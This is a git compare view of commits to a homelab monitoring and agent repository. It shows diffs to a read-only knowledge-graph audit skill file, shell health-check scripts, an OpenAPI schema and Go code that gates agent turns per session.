Compare commits
63 Commits
claude/fro
...
39e9227fdb
| Author | SHA1 | Date | |
|---|---|---|---|
| 39e9227fdb | |||
| bb05f215c6 | |||
| 467589d78a | |||
| e25e979757 | |||
| bc0ccb4cdc | |||
| c9a00a9532 | |||
| eb16796bf0 | |||
| a3914a1d41 | |||
| 8eb1ca2bac | |||
| e4104eb344 | |||
| 0929c17cbb | |||
| 6487032461 | |||
| fb6b6f9160 | |||
| 62c9fc5c86 | |||
| 6007e922b4 | |||
| 2d8eb91b25 | |||
| 3d88f52988 | |||
| 9016c3a43b | |||
| 04775192c1 | |||
| a104cb4bb4 | |||
| 72f0f46528 | |||
| b87735a111 | |||
| 1540f74342 | |||
| c7729b2ef6 | |||
| b8b4aa2aee | |||
| c10f6920cd | |||
| ad29295c93 | |||
| 6ca6d5b352 | |||
| af450dac2a | |||
| 6ed9dc39e8 | |||
| cc8eae4979 | |||
| 4f706fa65f | |||
| 50e899e5ee | |||
| 42751623ea | |||
| 98e19bb14a | |||
| d7b526a112 | |||
| 1dca2cfd7a | |||
| 7e1ccad5f4 | |||
| 89312a9ce4 | |||
| ce0e4142ff | |||
| 873b00ac42 | |||
| b345783eef | |||
| 29d5cb8b85 | |||
| 8f440c5ad5 | |||
| 4e4e2c169c | |||
| c151a66627 | |||
| 1c12d40712 | |||
| 482c7f3448 | |||
| 50aed11cc4 | |||
| ccbf6a8aac | |||
| ef2956619f | |||
| dffe01fb02 | |||
| 0f9e366ad5 | |||
| 052230209c | |||
| e5a81241b7 | |||
| 6b6bfe1fd8 | |||
| ce34cfeac7 | |||
| 55b93c59ef | |||
| eb3d2de1ca | |||
| d82095213a | |||
| 7b1dfbc8aa | |||
| f1cdf4ea13 | |||
| e055a7c6ce |
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
87
.agents/skills/knowledge-graph-audit/SKILL.md
Normal file
@@ -0,0 +1,87 @@
|
||||
---
|
||||
name: knowledge-graph-audit
|
||||
risk_class: read_only
|
||||
inputs: []
|
||||
verification: "audit_knowledge_graph returns a report with summary.total_findings"
|
||||
docs_update_checklist: []
|
||||
---
|
||||
|
||||
# Knowledge-graph audit
|
||||
|
||||
Goal: validate that the knowledge graph (entities, relationships, checks) and
|
||||
the monitoring built on it reflect live reality — without mutating anything.
|
||||
Read-only. Run this before trusting health, blast-radius, or coverage answers,
|
||||
and whenever something feels off (a healthy host reports `down`, a retired
|
||||
service still alarms, the graph looks thin).
|
||||
|
||||
## 1. Run the drift report
|
||||
|
||||
Call MCP `audit_knowledge_graph` (or `GET /api/v1/audit/drift`). It returns a
|
||||
ranked list of findings, each with `{category, severity, count, entities,
|
||||
evidence, suggested_runbook}`, plus a `summary` with totals by category.
|
||||
|
||||
The DB-side categories:
|
||||
|
||||
- **orphan_checks** — check entities with truncated/random slugs left by the
|
||||
old `shortSlug()` collision bug. Remediation: `scripts/cleanup-orphan-checks.sh`.
|
||||
- **dead_checks** — enabled `check_defs` whose target entity is `deprecated`/
|
||||
`destroyed`. Remediation: `lifecycle-deprecate-node` / `lifecycle-destroy-node`
|
||||
(the scheduler already skips these, but the rows should be retired).
|
||||
- **down_checks** — enabled probes reporting `down`. Remediation:
|
||||
`service-health-check` (then check whether the failure is real or a
|
||||
probe-config/routing problem — see step 3).
|
||||
- **unknown_checks** — probes that ran but reported `unknown` (usually a
|
||||
misconfigured or not-yet-deployed probe script).
|
||||
- **unmonitored** — active entities whose type declares monitoring but have no
|
||||
enabled `check_def`.
|
||||
- **dangling_edges** — live `hosts`/`provides`/`mounts` edges still pointing at
|
||||
destroyed/deprecated targets. Remediation: `lifecycle-destroy-node`.
|
||||
|
||||
## 2. Triage
|
||||
|
||||
`severity: critical` (down_checks) first. For each finding, read `evidence` and
|
||||
open the entities with `get_entity` / `get_relations` to confirm the diagnosis
|
||||
before acting — the report is a pointer, not a verdict.
|
||||
|
||||
## 3. Common probe-failure causes
|
||||
|
||||
A `down_checks` finding that is NOT a real outage is usually one of:
|
||||
|
||||
- **Guest reached wrong** — an LXC/VM check SSHed the guest directly instead of
|
||||
routing through its Proxmox host. Confirm with `get_relations` that a `hosts`
|
||||
edge exists and the guest has `pve_id`; checks route via `pct exec`/`qm guest
|
||||
exec` automatically when both are present.
|
||||
- **Script not deployed** — the probe script is absent at `/opt/oikos/checks/`
|
||||
inside the target. Remediation: redeploy via `tools/deploy-checks.sh`.
|
||||
- **macOS host** — a workstation check used the wrong SSH user or a Linux-only
|
||||
script flag. The scheduler resolves `user: dtoro` from the entity attribute.
|
||||
|
||||
## 4. What this audit does NOT cover (follow-ups)
|
||||
|
||||
Live-infrastructure discovery has its own tool — run **`discover_infra_drift`**
|
||||
alongside this one. It compares running Proxmox guests (`pct`/`qm list` on every
|
||||
proxmox host) against the DB graph and returns:
|
||||
|
||||
- **missing entities** — a guest running in Proxmox with no DB entity.
|
||||
- **ghost entities** — a DB lxc/vm whose `pve_id` is no longer live.
|
||||
|
||||
Still manual until that machinery lands:
|
||||
|
||||
- **Misplaced parent** — compare each guest's actual Proxmox host against its
|
||||
`hosts` edge (migrations leave these stale).
|
||||
- **Undeployed scripts** — per-guest `/opt/oikos/checks/` presence.
|
||||
- **Unmodeled certs** — now modeled; verify with `audit_knowledge_graph` /
|
||||
the cert-expiry checks.
|
||||
- **Seed drift** — run `oikos export` and `git diff seeds/` to find
|
||||
runtime-created entities not in version control.
|
||||
|
||||
## 5. Acting on findings
|
||||
|
||||
This skill is read-only — make no changes here. Route each confirmed finding to
|
||||
its `suggested_runbook`, classify the action against `seeds/policy.yaml`, and
|
||||
proceed through the normal lifecycle/approval flow. Re-run the audit afterward
|
||||
to confirm the finding cleared.
|
||||
|
||||
Docs-update checklist: none — the audit reads state; it changes nothing. If a
|
||||
finding reveals stale `risk_notes` or a wrong `doc_page`, fix `inventory.yaml`
|
||||
in that remediation session.
|
||||
12
.dockerignore
Normal file
12
.dockerignore
Normal file
@@ -0,0 +1,12 @@
|
||||
# Every docker build in this repo previously sent the whole directory as
|
||||
# build context — including every OTHER git worktree under .claude/worktrees/
|
||||
# (each with its own web/node_modules, ~200-300MB apiece). That's what
|
||||
# starved the mac-mini's disk mid-build on 2026-07-27 (SHA 873b00a): the
|
||||
# context alone crossed 390MB of pure worktree cruft before the host ran out
|
||||
# of space. None of this ever belonged in an image.
|
||||
.claude/worktrees/
|
||||
.git/
|
||||
**/node_modules/
|
||||
**/dist/
|
||||
**/build/
|
||||
*.log
|
||||
@@ -2284,6 +2284,23 @@ components:
|
||||
type: boolean
|
||||
version:
|
||||
type: integer
|
||||
last_health:
|
||||
type: string
|
||||
description: >-
|
||||
This check's own most recent verdict. An entity's health is the
|
||||
worst of these across its enabled checks, so this is what explains
|
||||
*why* an entity is degraded. Null until the check first runs.
|
||||
nullable: true
|
||||
enum:
|
||||
- healthy
|
||||
- degraded
|
||||
- down
|
||||
- unknown
|
||||
last_run_at:
|
||||
type: string
|
||||
format: date-time
|
||||
description: When this check last executed. Null = never run.
|
||||
nullable: true
|
||||
CheckCreate:
|
||||
type: object
|
||||
required:
|
||||
|
||||
@@ -2,12 +2,27 @@
|
||||
# cpu_check.sh — CPU usage % and thermal temperature.
|
||||
set -euo pipefail
|
||||
|
||||
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
||||
if [ -z "$USAGE" ]; then
|
||||
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
||||
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
||||
os=$(uname -s)
|
||||
|
||||
if [ "$os" = "Darwin" ]; then
|
||||
# `top -l 1 -n 0` prints "CPU usage: X% user, Y% sys, Z% idle".
|
||||
# Usage is 100 minus the idle figure that precedes the literal `idle`.
|
||||
USAGE=$(top -l 1 -n 0 -s 0 2>/dev/null | awk '
|
||||
/^CPU usage/ {
|
||||
for (i = 1; i <= NF; i++) {
|
||||
if ($i == "idle") { gsub(/%/, "", $(i - 1)); printf "%.1f", 100 - $(i - 1) }
|
||||
}
|
||||
}' || true)
|
||||
else
|
||||
USAGE=$(top -bn1 2>/dev/null | awk '/^%Cpu/ {print 100 - $8}' || true)
|
||||
if [ -z "$USAGE" ]; then
|
||||
CORES=$(nproc 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 1)
|
||||
USAGE=$(awk -v cores="$CORES" '{print ($1+$2+$3)*100/cores}' /proc/loadavg 2>/dev/null || echo "0")
|
||||
fi
|
||||
fi
|
||||
|
||||
[ -z "$USAGE" ] && USAGE=0
|
||||
|
||||
TEMP=""
|
||||
if [ -f /sys/class/thermal/thermal_zone0/temp ]; then
|
||||
TEMP=$(awk '{printf "%.1f", $1/1000}' /sys/class/thermal/thermal_zone0/temp 2>/dev/null || true)
|
||||
|
||||
22
checks/disk_usage_check.sh
Normal file → Executable file
22
checks/disk_usage_check.sh
Normal file → Executable file
@@ -2,18 +2,34 @@
|
||||
# disk_usage_check.sh — disk usage and inode usage per mountpoint.
|
||||
set -euo pipefail
|
||||
|
||||
MOUNTS=$(df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
||||
# `timeout` caps each df so a single hung/stale mountpoint (a stale NFS
|
||||
# export, a wedged ZFS pool) can't stall the whole check — that hung the
|
||||
# scheduler's 30s budget on hubris. Available on Linux (coreutils); absent on
|
||||
# Darwin, whose local mounts don't hang, so it degrades to an empty prefix.
|
||||
TO=""
|
||||
if command -v timeout >/dev/null 2>&1; then TO="timeout 8"; fi
|
||||
|
||||
# Build the mount list WITHOUT statting anything: reading /proc/mounts never
|
||||
# blocks the way `df` does on a stuck filesystem, so the enumeration itself
|
||||
# can't hang. Fall back to `df` on hosts without /proc/mounts (macOS).
|
||||
if [ -r /proc/mounts ]; then
|
||||
MOUNTS=$(awk '$1 ~ /^\// && $2 !~ /^\/(snap|dev|proc|sys|run|private)/ {print $2}' /proc/mounts || true)
|
||||
else
|
||||
MOUNTS=$($TO df -k 2>/dev/null | awk 'NR>1 && $1 ~ /^\// && $NF !~ /^\/(snap|dev|proc|sys|run|private)/ {print $NF}' || true)
|
||||
fi
|
||||
FIRST=1
|
||||
|
||||
echo -n '{"health":"healthy","metrics":{'
|
||||
for m in $MOUNTS; do
|
||||
LINE=$(df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
||||
# Each df is bounded: a stuck mount times out and is skipped (LINE empty)
|
||||
# rather than hanging the probe.
|
||||
LINE=$($TO df -k "$m" 2>/dev/null | awk 'NR==2 {print $3, $4, $5, $7}' | tr -d '%' || true)
|
||||
if [ -z "$LINE" ]; then continue; fi
|
||||
USED=$(echo "$LINE" | awk '{print $1}')
|
||||
FREE=$(echo "$LINE" | awk '{print $2}')
|
||||
PCT=$(echo "$LINE" | awk '{print $3}')
|
||||
|
||||
INODE_LINE=$(df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
||||
INODE_LINE=$($TO df -i "$m" 2>/dev/null | awk 'NR==2 {print $5}' | tr -d '%' || echo "0")
|
||||
INODE_PCT=$(echo "${INODE_LINE:-0}" | sed 's/-/0/')
|
||||
|
||||
KEY=$(echo "$m" | sed 's|/|_|g' | sed 's|^_||')
|
||||
|
||||
@@ -1,5 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
# process_check.sh — systemd service liveness.
|
||||
# process_check.sh — service liveness.
|
||||
#
|
||||
# A service entity's name is a logical label, rarely the literal systemd unit
|
||||
# or container name. matrix = matrix-synapse.service + element-web/mautrix-*
|
||||
# containers; authentik = authentik-server/-worker containers. So checking
|
||||
# `systemctl is-active matrix` reports "inactive" for a healthy service.
|
||||
#
|
||||
# Resolution order, any hit = healthy:
|
||||
# 1. exact systemd unit `systemctl is-active <name>`
|
||||
# 2. a systemd unit with the name as prefix `<name>*.service`
|
||||
# 3. a running docker container whose name contains <name>
|
||||
# An explicit probe target overrides the label — see checkdefaults, which
|
||||
# passes a `probe_unit`/`container`/`systemd_unit` attribute as $1 when set.
|
||||
set -euo pipefail
|
||||
|
||||
SERVICE="${1:-}"
|
||||
@@ -8,15 +20,31 @@ if [ -z "$SERVICE" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if ! command -v systemctl >/dev/null 2>&1; then
|
||||
echo '{"health":"unknown","signalKind":"process-check","evidence":"systemctl not found"}'
|
||||
exit 0
|
||||
ok() { echo "{\"health\":\"healthy\"}"; exit 0; }
|
||||
|
||||
# 1. exact systemd unit
|
||||
if command -v systemctl >/dev/null 2>&1; then
|
||||
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null | head -1 || true)
|
||||
[ "$STATE" = "active" ] && ok
|
||||
|
||||
# 2. prefix match: matrix -> matrix-synapse.service, house -> house.service, etc.
|
||||
# --no-legend strips the header/footer so grep can see the unit rows; the
|
||||
# pattern is a systemd unit glob.
|
||||
if systemctl list-units --type=service --state=active --no-legend "$SERVICE*.service" 2>/dev/null \
|
||||
| grep -q '\.service'; then
|
||||
ok
|
||||
fi
|
||||
fi
|
||||
|
||||
STATE=$(systemctl is-active "$SERVICE" 2>/dev/null || echo "unknown")
|
||||
|
||||
if [ "$STATE" = "active" ]; then
|
||||
echo "{\"health\":\"healthy\"}"
|
||||
else
|
||||
echo "{\"health\":\"degraded\",\"signalKind\":\"$SERVICE\",\"evidence\":\"$SERVICE is $STATE\"}"
|
||||
# 3. a running docker container whose name contains the label.
|
||||
if command -v docker >/dev/null 2>&1; then
|
||||
if docker ps --filter "status=running" --filter "name=$SERVICE" --format '{{.Names}}' 2>/dev/null \
|
||||
| grep -q .; then
|
||||
ok
|
||||
fi
|
||||
fi
|
||||
|
||||
STATE=${STATE:-inactive}
|
||||
STATE=${STATE//\"/}
|
||||
SAFE_SERVICE=${SERVICE//\"/}
|
||||
echo "{\"health\":\"degraded\",\"signalKind\":\"process\",\"evidence\":\"$SAFE_SERVICE is $STATE (no active unit/container matched)\"}"
|
||||
|
||||
@@ -57,6 +57,9 @@ type agent struct {
|
||||
apiBase string // oikos HTTP API base, derived from NOMOS_MCP_URL, for chat-assent approvals
|
||||
apiToken string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it (no dev-open bypass)
|
||||
httpClient *http.Client
|
||||
// gate serializes turns per session (at most one in-flight turn per
|
||||
// sessionID). See turngate.go and plan 2026-08-03 F1.
|
||||
gate *turnGate
|
||||
}
|
||||
|
||||
func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug string) (*agent, error) {
|
||||
@@ -117,6 +120,7 @@ func newAgent(ctx context.Context, clients *mcpClientPool, st *store, agentSlug
|
||||
apiBase: apiBase,
|
||||
apiToken: os.Getenv("OIKOS_MCP_BEARER_TOKEN"),
|
||||
httpClient: &http.Client{Timeout: 15 * time.Second},
|
||||
gate: newTurnGate(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -76,16 +76,20 @@ func (a *agent) processIdleSweep(ctx context.Context) {
|
||||
s := s
|
||||
if s.CompletionNudges == 0 {
|
||||
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||
return
|
||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||
s.Goal, idleTaskThreshold)
|
||||
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
||||
// P1: only count the nudge if it actually delivered. resumeSession
|
||||
// skips (returns false) when a turn is already active; bumping the
|
||||
// counter anyway would make the next sweep auto-close a merely-busy
|
||||
// session as "unanswered."
|
||||
if a.resumeSession(ctx, s.ID, note) {
|
||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||
}
|
||||
}
|
||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||
s.Goal, idleTaskThreshold)
|
||||
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
||||
a.resumeSession(ctx, s.ID, note)
|
||||
})
|
||||
continue
|
||||
}
|
||||
@@ -163,7 +167,9 @@ func (a *agent) processContinuations(ctx context.Context) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID) // stamp first: a failure here must not cause a re-continue loop
|
||||
// markContinued now happens inside continueSession, AFTER resumeSession
|
||||
// actually runs (P0). Pre-marking here consumed the item even when
|
||||
// resumeSession skipped on a busy session, losing the result.
|
||||
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
|
||||
}
|
||||
}
|
||||
@@ -179,7 +185,18 @@ func (a *agent) processContinuations(ctx context.Context) {
|
||||
// something new to poll for.
|
||||
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
||||
a.resumeSession(ctx, p.SessionID, buildContinuationNote(p))
|
||||
// P0 (plans/2026-08-03-nomos-chat-changes-review.md): mark the execution
|
||||
// continued ONLY after the turn actually ran. resumeSession skips (returns
|
||||
// false) when another turn is already active for this session; marking
|
||||
// before that — as the old code did — consumed the item (continued_at set,
|
||||
// never re-queued by pendingContinuations) and silently lost the result.
|
||||
// On a skip, leave it pending so the next worker tick retries once the
|
||||
// active turn frees the permit.
|
||||
if !a.resumeSession(ctx, p.SessionID, buildContinuationNote(p)) {
|
||||
slog.Info("nomos: continuation deferred — a turn is active; will retry next tick", "session", p.SessionID, "execution", p.ExecID)
|
||||
return
|
||||
}
|
||||
a.store.markContinued(ctx, p.ExecID)
|
||||
}
|
||||
|
||||
// resumeSession re-invokes the agent for a session with a system-injected note —
|
||||
@@ -187,7 +204,26 @@ func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
|
||||
// in place as each tool call lands) so the frontend poller sees each step,
|
||||
// instead of total silence until the whole resume concludes.
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
//
|
||||
// F1 (plan 2026-08-03): this is the single entry point for EVERY background
|
||||
// turn — the continuation worker, idle sweep, answer-question, /resume, and the
|
||||
// empty-message reconnect all funnel through here. It acquires the session's
|
||||
// turn permit non-blocking and SKIPS if a turn is already running. A duplicate
|
||||
// resume while a turn (live or background) is active is exactly the
|
||||
// interleaving that corrupted the activity panel and made tasks feel stuck.
|
||||
//
|
||||
// Returns whether the turn actually ran. Callers that mutate state before
|
||||
// resuming (the continuation worker's markContinued, the idle sweep's nudge
|
||||
// bump) MUST gate that mutation on a true return — otherwise a busy-skip leaves
|
||||
// the state changed but the work undone (lost continuation / false auto-close).
|
||||
// See plans/2026-08-03-nomos-chat-changes-review.md P0/P1.
|
||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) bool {
|
||||
if !a.gate.acquire(sessionID, 0) {
|
||||
slog.Info("nomos: turn already active, skipping background resume", "session", sessionID)
|
||||
return false
|
||||
}
|
||||
defer a.gate.release(sessionID)
|
||||
|
||||
placeholder, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": "",
|
||||
@@ -242,7 +278,7 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
if attempt > 0 {
|
||||
select {
|
||||
case <-cctx.Done():
|
||||
return
|
||||
return true // a turn ran on an earlier attempt; consume, don't re-loop
|
||||
case <-time.After(time.Duration(2<<attempt) * time.Second): // 4s, 8s
|
||||
}
|
||||
}
|
||||
@@ -314,9 +350,10 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
||||
// No placeholder was inserted (rare), save directly.
|
||||
a.store.saveMessage(context.Background(), sessionID, "assistant", body)
|
||||
}
|
||||
return // do not call persist() again — already persisted above
|
||||
return true // do not call persist() again — already persisted above
|
||||
}
|
||||
persist() // final state — same row, updated one last time with the concluding text
|
||||
return true
|
||||
}
|
||||
|
||||
// buildContinuationNote frames the finished execution for the model: what
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
package main
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func TestExtractExecutionIDs(t *testing.T) {
|
||||
// Real tool-result phrasings that should yield an execution id.
|
||||
@@ -37,3 +42,37 @@ func TestExtractExecutionIDs(t *testing.T) {
|
||||
t.Errorf("expected de-dup to 1 id, got %v", ids)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResumeSession_SkipsWhenBusy guards the P0 fix
|
||||
// (plans/2026-08-03-nomos-chat-changes-review.md): resumeSession must skip —
|
||||
// return false, body never executed — when a turn is already active for the
|
||||
// session. continueSession relies on this so it only marks a continuation
|
||||
// "continued" after a turn really ran (otherwise the result is lost: marked
|
||||
// continued, never re-queued by pendingContinuations).
|
||||
//
|
||||
// A minimal agent with only a gate is enough: if the body ever ran, chatWith
|
||||
// would dereference the nil provider and panic. Returning false cleanly proves
|
||||
// the body was skipped.
|
||||
func TestResumeSession_SkipsWhenBusy(t *testing.T) {
|
||||
a := &agent{gate: newTurnGate()}
|
||||
if !a.gate.acquire("sess", 0) {
|
||||
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||
}
|
||||
ran := a.resumeSession(context.Background(), "sess", "note")
|
||||
if ran {
|
||||
t.Fatal("resumeSession must return false (skip) while a turn is active for the session")
|
||||
}
|
||||
}
|
||||
|
||||
// TestContinueSession_DefersWhenBusy guards the other half of P0: when the
|
||||
// session is busy, continueSession defers (leaves the execution pending for the
|
||||
// next worker tick) instead of running or marking it. It must return cleanly
|
||||
// without reaching resumeSession's body (nil provider → panic) or markContinued.
|
||||
func TestContinueSession_DefersWhenBusy(t *testing.T) {
|
||||
a := &agent{gate: newTurnGate()}
|
||||
if !a.gate.acquire("sess", 0) {
|
||||
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||
}
|
||||
p := pendingContinuation{ExecID: uuid.New(), SessionID: "sess", Status: "completed"}
|
||||
a.continueSession(context.Background(), p) // must not panic; must not run/mark
|
||||
}
|
||||
|
||||
@@ -319,8 +319,10 @@ func fetchTranscript(ctx context.Context, gateway, sid string) (transcript, sess
|
||||
}
|
||||
// Fetch the plan (steps with generation numbers) for the
|
||||
// plan_generations assertion. A 404 or empty response is fine — a
|
||||
// pure-DB Q&A with no propose_plan has no plan.
|
||||
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan"); perr == nil {
|
||||
// pure-DB Q&A with no propose_plan has no plan. ?all=true returns every
|
||||
// generation so the assertion can count them (the default view returns
|
||||
// only the current generation).
|
||||
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan?all=true"); perr == nil {
|
||||
if planResp.StatusCode == 200 {
|
||||
pb, _ := io.ReadAll(planResp.Body)
|
||||
_ = json.Unmarshal(pb, &t) // fills t.PlanSteps via "steps" field
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
@@ -185,12 +186,22 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
return
|
||||
}
|
||||
|
||||
// Empty message with an existing session = reconnect/resume. The
|
||||
// frontend sends this after a dropped SSE stream to re-establish the
|
||||
// connection and catch up on any auto-continuation work that happened
|
||||
// while disconnected. Route into resumeSession so the agent sees a
|
||||
// system note and reports current state.
|
||||
// Empty message with an existing session = reconnect/resume. This path is
|
||||
// defensive now — the frontend (post F2) recovers a dropped SSE via the
|
||||
// poller + terminal task.status clearing, and no longer POSTs empty
|
||||
// messages. If a client ever does, route into resumeSession so the agent
|
||||
// reports current state — but SKIP a terminal session (done/failed/
|
||||
// abandoned): there's nothing to resume, and running a "report state"
|
||||
// turn there is just a spare turn the operator never asked for (P2.1).
|
||||
if req.Message == "" && req.SessionID != "" {
|
||||
if sess, err := st.getSession(context.Background(), req.SessionID); err == nil {
|
||||
switch sess.Status {
|
||||
case "done", "failed", "abandoned":
|
||||
slog.Info("nomos: reconnect skipped — session already terminal", "session", req.SessionID, "status", sess.Status)
|
||||
w.WriteHeader(202)
|
||||
return
|
||||
}
|
||||
}
|
||||
slog.Info("nomos: reconnect", "session", req.SessionID)
|
||||
safego.Go("nomos:reconnect:"+req.SessionID, func() {
|
||||
base := "[System: the operator's connection was re-established. The task may have progressed in the background.]"
|
||||
@@ -199,7 +210,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
})
|
||||
// Return 202 so the frontend doesn't try to consume an SSE stream
|
||||
// from this POST — resumeSession writes to the DB directly and
|
||||
// the poller (already running from handleDisconnect) picks it up.
|
||||
// the poller picks it up.
|
||||
w.WriteHeader(202)
|
||||
return
|
||||
}
|
||||
@@ -213,6 +224,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
|
||||
w.WriteHeader(200)
|
||||
|
||||
ctx := r.Context()
|
||||
@@ -268,6 +280,29 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
|
||||
sseEvent(w, flusher, agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
||||
|
||||
// F1 (plan 2026-08-03): serialize turns per session. The user message is
|
||||
// already persisted above, so even if we can't run this turn right now it
|
||||
// isn't lost. Wait briefly for a finishing background turn (continuation /
|
||||
// resume) so the common case is seamless; if one is still running after
|
||||
// that, tell the operator to retry rather than spawning a second
|
||||
// concurrent turn (the interleaving this gate exists to prevent). On
|
||||
// success the permit is held until this handler returns (stream + post-
|
||||
// processing done); background resumeSession callers skip while it's held.
|
||||
const turnWait = 5 * time.Second
|
||||
if !a.gate.acquire(sessionID, turnWait) {
|
||||
slog.Info("nomos: turn already active, deferring operator message", "session", sessionID)
|
||||
sseEvent(w, flusher, agentEvent{
|
||||
Type: "error",
|
||||
Data: "Nomos is still finishing a previous step. Your message was saved — give it a moment to finish, then send it again.",
|
||||
})
|
||||
sseEvent(w, flusher, agentEvent{Type: "done", Data: map[string]any{
|
||||
"session_id": sessionID,
|
||||
"error": true,
|
||||
}, SessionID: sessionID})
|
||||
return
|
||||
}
|
||||
defer a.gate.release(sessionID)
|
||||
|
||||
toolCalls := []map[string]any{}
|
||||
// P3: accumulate per-iteration reasoning instead of overwriting with
|
||||
// the final `text` event. The agent loop emits a `text` event for each
|
||||
@@ -352,8 +387,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
|
||||
// Generate a meaningful title from the assistant's first answer
|
||||
// instead of reusing the raw user message for every session.
|
||||
// P2.9 (2026-07-20): prefer the goal as the title when one is set —
|
||||
// the first assistant text is often a greeting or narrative that
|
||||
// doesn't describe the task ("Hey! 👋 Nomos here, running on
|
||||
// mac-mini:8092..."). The goal is the operator's actual intent.
|
||||
// Sessions that never call set_goal (pure Q&A) fall back to the
|
||||
// assistant text, which is still better than the raw user message.
|
||||
if finalText != "" && sessionID != "ephemeral" {
|
||||
title := truncate(finalText, 80)
|
||||
var goalTitle string
|
||||
if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
|
||||
goalTitle = truncate(sess.Goal, 120)
|
||||
}
|
||||
title := goalTitle
|
||||
if title == "" {
|
||||
title = truncate(finalText, 80)
|
||||
}
|
||||
if title != "" {
|
||||
st.updateSessionTitle(pctx, sessionID, title)
|
||||
}
|
||||
@@ -371,13 +419,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
return
|
||||
}
|
||||
|
||||
sessions, err := st.listSessions(r.Context())
|
||||
// P2.8 (2026-07-20): filtering + pagination. The audit script in
|
||||
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
|
||||
// client-side; "show me partial sessions touching lxc:rclone"
|
||||
// required fetching the full list and filtering in JS. Push the
|
||||
// filters into SQL so the audit becomes a single `curl | jq`.
|
||||
// Supported query params (all optional, composable):
|
||||
// ?outcome=partial|success|failure — exact match on outcome
|
||||
// ?status=active|done|failed|executing — exact match on status
|
||||
// ?entity_id=<uuid> — exact match on entity_id
|
||||
// ?since=<RFC3339 or duration> — last_active_at >= ...
|
||||
// ?blocker=<reason> — exact match on blocker
|
||||
// ?limit=<int> — default 50, max 200
|
||||
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
|
||||
q := r.URL.Query()
|
||||
limit := 50
|
||||
if v := q.Get("limit"); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
|
||||
Outcome: q.Get("outcome"),
|
||||
Status: q.Get("status"),
|
||||
EntityID: q.Get("entity_id"),
|
||||
Blocker: q.Get("blocker"),
|
||||
Since: q.Get("since"),
|
||||
